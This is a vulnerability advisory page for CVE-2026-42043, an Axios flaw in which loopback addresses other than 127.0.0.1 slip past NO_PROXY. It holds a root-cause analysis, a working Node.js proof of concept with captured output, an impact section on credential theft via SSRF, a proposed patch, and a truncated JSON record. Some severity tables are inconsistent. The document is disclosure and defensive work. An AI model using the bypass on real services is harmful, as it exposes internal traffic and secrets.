Vulnerability-Lookup

CVE-2026-42043 (GCVE-0-2026-42043)

Vulnerability from cvelistv5 – Published: 2026-04-24 17:54 – Updated: 2026-04-27 13:47

Title

Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

Summary

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, an attacker who can influence the target URL of an Axios request can use any address in the 127.0.0.0/8 range (other than 127.0.0.1) to completely bypass the NO_PROXY protection. This vulnerability is due to an incomplete for CVE-2025-62718, This vulnerability is fixed in 1.15.1 and 0.31.1.

Severity ?

7.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

CWE

CWE-183 - Permissive List of Allowed Inputs
CWE-441 - Unintended Proxy or Intermediary ('Confused Deputy')
CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	axios	axios	Affected: >= 1.0.0, < 1.15.1 Affected: < 0.31.1

GHSA-PMWG-CVHR-8VH7

Vulnerability from github – Published: 2026-05-05 00:20 – Updated: 2026-05-05 00:20

Summary

Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

Details

1. Executive Summary This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.

Background — The Original Vulnerability The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.

The Incomplete Patch — This Finding While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.

The patch introduced a hardcoded set of recognized loopback addresses:

// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);

However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.

As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.

Verification This bypass has been independently verified on:

Axios version: 1.15.0 (latest patched release)
Node.js version: v22.16.0
OS: Kali Linux (rolling)

The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.

2. Deep-Dive: Technical Root Cause Analysis 2.1 Vulnerable File & Location

Field	Detail
File	lib/helpers/shouldBypassProxy.js
Primary Flaw	isLoopback() — Line 1–3
Supporting Function	shouldBypassProxy() — Line 59–110
Axios Version	1.15.0 (Latest Patched Release)

2.2 How Axios Routes HTTP Requests The Call Chain When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:

// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  if (!proxy && proxy !== false) {
    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var
    if (proxyUrl) {
      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY
        proxy = new URL(proxyUrl);               // Step 3: Assign proxy
      }
    }
  }
}

shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.

2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5) Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:

Request URL → http://localhost./secret
NO_PROXY    → "localhost,127.0.0.1,::1"
Comparison:
  "localhost." === "localhost"   →  FALSE  →  Proxy used  ← BYPASS
  "[::1]"     === "::1"         →  FALSE  →  Proxy used  ← BYPASS

Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.

2.4 What the Patch Fixed (Axios 1.15.0) The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:

01_axios_version_verification

Fix A normalizeNoProxyHost() (Lines 47–57) Strips alternate representations before comparison:

const normalizeNoProxyHost = (hostname) => {
  if (!hostname) return hostname;
  // Remove IPv6 brackets: "[::1]" → "::1"
  if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
    hostname = hostname.slice(1, -1);
  }
  // Strip trailing FQDN dot: "localhost." → "localhost"
  return hostname.replace(/\.+$/, '');
};

Fix B Cross-Loopback Equivalence (Lines 1–3 & 108) Allows 127.0.0.1 and localhost to match each other interchangeably:

const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
    || (isLoopback(hostname) && isLoopback(entryHost));
//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//      If both sides are "loopback" → treat as match

Fix C Normalization Applied on Both Sides (Lines 81 & 90)

// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);

2.5 The Incomplete Patch Exact Root Cause The fundamental flaw resides in Line 1:

// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
//                                              ^^^^^^^^^^^
//                              Only ONE IPv4 loopback address is recognized.
//                              The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
//                                               ^^^^^^^^^
//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1

02_vulnerable_code_loopback_addresses

*RFC 1122 §3.2.1.3 is unambiguous:

"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."

This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.

03_rfc1122_loopback_definition

2.6 Step-by-Step Bypass Execution Trace Environment:

NO_PROXY   = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"

Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):

// Step 1 — Parse the request URL
parsed   = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2"    // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy  = "localhost,127.0.0.1,::1"   // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
//          No brackets → skip
//          No trailing dot → skip
//          Result: "127.0.0.2"  (unchanged)
// Step 4 — Iterate over NO_PROXY entries
//  Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost"                  → false
isLoopback("127.0.0.2")                      → false  ← Set.has() returns false
                                                          BYPASS starts here
//  Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1"                 → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
//  Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1"                        → false
isLoopback("127.0.0.2") && isLoopback("::1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
// Step 5 — Final return
shouldBypassProxy() → false
//  Axios proceeds to route the request through the configured proxy.
//  The attacker's proxy server receives the full request including headers
//  and any response from the internal service.

2.7 Why the Patch Design Is Flawed The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).

Aspect	Original Bug	This Finding
What was wrong	No normalization before comparison	Incomplete loopback address set
Fix applied	Added normalizeNoProxyHost()	None set remains hardcoded
RFC compliance	Violated RFC 1034 & RFC 3986	Violates RFC 1122 §3.2.1.3
Bypass method	Alternate string representation	Alternate valid loopback address
Impact	NO_PROXY bypass → SSRF	NO_PROXY bypass → SSRF (identical)

**2.8 Total Exposed Address Space**
Protected by patch:    127.0.0.1          (1 address)
Unprotected loopback:  127.0.0.2
                       through
                       127.255.255.254    (16,777,213 addresses)

Real-world services that commonly bind to non-standard loopback addresses include:

Internal microservices and admin dashboards using dedicated loopback IPs
Development environments with multiple isolated service instances
Docker and container bridge network configurations
Test infrastructure allocating sequential loopback IPs across services

3. Comprehensive Attack Vector & Proof of Concept

3.1 Reproduction Steps

Step 1 — Create a fresh project directory

mkdir axios-bypass-test && cd axios-bypass-test

Step 2 — Initialize the project with the patched Axios version Create package.json:

{
  "type": "module",
  "dependencies": {
    "axios": "1.15.0"
  }
}

Install dependencies:

npm install

Verify the installed version:

npm list axios
# Expected output: axios@1.15.0

Step 3 — Create the PoC file (poc.js)

import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
  console.log('\n[!] PROXY HIT — Attacker proxy received request!');
  console.log(`    Method : ${req.method}`);
  console.log(`    URL    : ${req.url}`);
  console.log(`    Host   : ${req.headers.host}`);
  res.writeHead(200);
  res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY   = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
  console.log(`\n[*] Testing: ${url}`);
  try {
    const res = await axios.get(url, { timeout: 2000 });
    if (res.data === 'proxied') {
      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');
    } else {
      console.log('    Result → [DIRECT]   ← Safe, no proxy used');
    }
  } catch (err) {
    if (err.code === 'ECONNREFUSED') {
      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');
    }
  }
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
  // Section A: Cases fixed by the existing patch — expected to go DIRECT
  console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
  await test('http://localhost:9191/secret');
  await test('http://localhost.:9191/secret');
  await test('http://[::1]:9191/secret');
  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
  console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
  await test('http://127.0.0.2:9191/secret');
  await test('http://127.0.0.100:9191/secret');
  await test('http://127.1.2.3:9191/secret');
  process.exit(0);
}, 500);

Step 4 — Execute the PoC

node poc.js

3.2 Observed Output The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://localhost.:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://[::1]:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.2:9191/secret
    Host   : 127.0.0.2:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.100:9191/secret
    Host   : 127.0.0.100:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.1.2.3:9191/secret
    Host   : 127.1.2.3:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED

05_poc_execution_bypass_confirmed

3.3 Analysis of Results The output conclusively demonstrates the following:

Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.

Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.

This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.

4. Impact Assessment This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.

4.1 Who Is Impacted?

Primary Target — Node.js Backend Applications Any Node.js application that meets all three of the following conditions is vulnerable:

Condition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment
              (common in corporate networks, cloud deployments,
               containerised environments, and CI/CD pipelines)
Condition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
              to protect loopback or internal services from proxy routing

Affected Deployment Environments | Environment | Risk Level | | ------------- | ------------- | | Cloud-hosted applications (AWS, GCP, Azure) | Critical| | Containerised microservices (Docker, Kubernetes) | Critical| | Corporate networks with mandatory proxy | High| | CI/CD pipelines with proxy environment variables | High| | On-premise servers with internal proxy | High|

Scale of Exposure Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.

4.3 Impact Details

Impact 1 Silent Interception of Internal Service Traffic

When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.

Developer expects:    Application → 127.0.0.2:8080 (direct)
Actual behaviour:     Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
  - Full request URL
  - HTTP method
  - All request headers (including Authorization, Cookie, API keys)
  - Request body (for POST/PUT requests)
  - Full response from the internal service

The developer receives no error or warning. From the application's perspective, the request succeeds normally.

Impact 2 — SSRF Mitigation Bypass Many applications implement SSRF protections by configuring NO_PROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.

SSRF Protection (as configured by developer):
  NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
  All loopback/internal addresses
What is actually protected:
  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)

An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.

Impact 3 — Cloud Metadata Service Exposure In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.

While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:

Retrieve temporary IAM credentials
Access environment variables containing secrets
Enumerate internal service configurations
Pivot to other internal services via the compromised credentials

Impact 4 — Confidential Data Exfiltration Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:

Internal Service Type	Exposed Data
Admin panels / dashboards	User data, configuration, logs
Internal APIs	Business logic, database contents
Secret managers / vaults	API keys, tokens, certificates
Health check endpoints	Infrastructure topology
Development services	Source code, environment variables

Impact 5 — No Indication of Compromise A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.

4.4 Comparison with Original Vulnerability

Internal Service Type	Exposed Data	Exposed Data
Attack method	Use localhost. or [::1]	Use any 127.x.x.x ≠ 127.0.0.1
Patch status	Fixed in 1.15.0	Not fixed in 1.15.0
CVSS score	9.3 Critical	9.9 Critical or (equivalent)
Attacker effort	Trivial	Trivial
Detection by developer	None	None
Impact	SSRF / proxy bypass	SSRF / proxy bypass (identical)

The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.

5. Technical Remediation & Proposed Fix

5.1 Vulnerable Code Block

The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:

// lib/helpers/shouldBypassProxy.js — Axios 1.15.0
// Lines 1–3 (VULNERABLE)
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);

This hardcoded Set is subsequently used at line 108 during the final NO_PROXY match evaluation:

// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE
// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1

Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.

5.2 Proposed Patched Code Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:

// lib/helpers/shouldBypassProxy.js
// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)
const isLoopback = (host) => {
  // Named loopback hostname
  if (host === 'localhost') return true;
  // IPv6 loopback address
  if (host === '::1') return true;
  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)
  // Matches any address from 127.0.0.0 through 127.255.255.254
  const parts = host.split('.');
  return (
    parts.length === 4 &&
    parts[0] === '127' &&
    parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
  );
};

5.3 Diff View — Before vs After

// lib/helpers/shouldBypassProxy.js
- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
-
- const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
+ const isLoopback = (host) => {
+   if (host === 'localhost') return true;
+   if (host === '::1') return true;
+   const parts = host.split('.');
+   return (
+     parts.length === 4 &&
+     parts[0] === '127' &&
+     parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
+   );
+ };

All other code in shouldBypassProxy.js remains unchanged. No other files require modification.

5.4 Why This Fix Must Be Applied

Reason 1 — RFC 1122 Compliance

The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.

RFC 1122 §3.2.1.3:
"The address 127.0.0.0/8 is assigned for loopback.
 A datagram sent by a higher-level protocol to a loopback
 address MUST NOT appear on any network."
Current fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)
Proposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)

Reason 2 — The Existing Patch Has Already Failed Once

The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.

Reason 3 — Real Operating System Behaviour On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.

# Linux routing table — default configuration
$ ip route show table local | grep "127"
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1
# Proof: 127.0.0.2 is a valid loopback address on Linux
$ ping -c 1 127.0.0.2
PING 127.0.0.2: 56 data bytes
64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms

04_linux_loopback_subnet_proof

Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.

06_ping_127 0 0 2_loopback_confirmed

Reason 4 — The Proposed Fix Has Zero Performance Impact The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:

Two direct string comparisons ('localhost', '::1') — O(1)
A split('.') and array validation — O(1) with a fixed-length array of 4 elements The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.

Reason 5 — The Fix Is Minimal and Surgical The proposed change modifies only 3 lines of a single file. It does not alter:

The parseNoProxyEntry() function
The normalizeNoProxyHost() function
The shouldBypassProxy() main function logic
Any other file in the codebase

This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.

Reason 6 — Resilient to Alternative IP Encodings Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.

5.5 Additional Recommendation — IPv6 Loopback Range

While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:

// Additional IPv6 loopback representations to consider:
'0:0:0:0:0:0:0:1'      // Full notation of ::1
'::ffff:127.0.0.1'     // IPv4-mapped IPv6 loopback
'::ffff:7f00:1'        // Hex IPv4-mapped IPv6 loopback

Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.

Severity ?

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:20:58Z",
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "severity": "HIGH"
  },
  "details": "**1. Executive Summary**\nThis report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library.\n\n**Background \u2014 The Original Vulnerability**\nThe original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy \u2014 even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services.\n\nThe Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.\n\n**The Incomplete Patch \u2014 This Finding**\nWhile the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**.\n\nThe patch introduced a hardcoded set of recognized loopback addresses:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n```\nHowever, **RFC 1122 \u00a73.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine.\n\nAs a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release.\n\n**Verification**\nThis bypass has been **independently verified** on:\n\n* **Axios version:** 1.15.0 (latest patched release)\n* **Node.js version:** v22.16.0\n* **OS:** Kali Linux (rolling)\n\nThe Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space.\n\n**2. Deep-Dive: Technical Root Cause Analysis**\n**2.1 Vulnerable File \u0026 Location**\n\n| Field | Detail |\n| ------------- | ------------- |\n| File | lib/helpers/shouldBypassProxy.js| \n| Primary Flaw| isLoopback() \u2014 Line 1\u20133 |\n| Supporting Function | shouldBypassProxy() \u2014 Line 59\u2013110 |\n| Axios Version | 1.15.0 (Latest Patched Release) |\n\n**2.2 How Axios Routes HTTP Requests  The Call Chain**\nWhen Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy:\n\n```\n// lib/adapters/http.js \u2014 Lines 191\u2013199\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  if (!proxy \u0026\u0026 proxy !== false) {\n    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var\n    if (proxyUrl) {\n      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY\n        proxy = new URL(proxyUrl);               // Step 3: Assign proxy\n      }\n    }\n  }\n}\n```\n`shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.\n\n**2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)**\nBefore Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization:\n\n```\nRequest URL \u2192 http://localhost./secret\nNO_PROXY    \u2192 \"localhost,127.0.0.1,::1\"\nComparison:\n  \"localhost.\" === \"localhost\"   \u2192  FALSE  \u2192  Proxy used  \u2190 BYPASS\n  \"[::1]\"     === \"::1\"         \u2192  FALSE  \u2192  Proxy used  \u2190 BYPASS\n```\nBoth `localhost.` (FQDN trailing dot, RFC 1034 \u00a73.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 \u00a73.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts.\n\n\n**2.4 What the Patch Fixed (Axios 1.15.0)**\nThe patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`:\n\n\u003cimg width=\"602\" height=\"123\" alt=\"01_axios_version_verification\" src=\"https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5\" /\u003e\n\n**Fix A `normalizeNoProxyHost()` (Lines 47\u201357)**\nStrips alternate representations before comparison:\n\n```\nconst normalizeNoProxyHost = (hostname) =\u003e {\n  if (!hostname) return hostname;\n  // Remove IPv6 brackets: \"[::1]\" \u2192 \"::1\"\n  if (hostname.charAt(0) === \u0027[\u0027 \u0026\u0026 hostname.charAt(hostname.length - 1) === \u0027]\u0027) {\n    hostname = hostname.slice(1, -1);\n  }\n  // Strip trailing FQDN dot: \"localhost.\" \u2192 \"localhost\"\n  return hostname.replace(/\\.+$/, \u0027\u0027);\n};\n```\n**Fix B Cross-Loopback Equivalence (Lines 1\u20133 \u0026 108)**\nAllows `127.0.0.1` and `localhost` to match each other interchangeably:\n\n```\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n// Line 108 \u2014 Final match condition:\nreturn hostname === entryHost\n    || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//      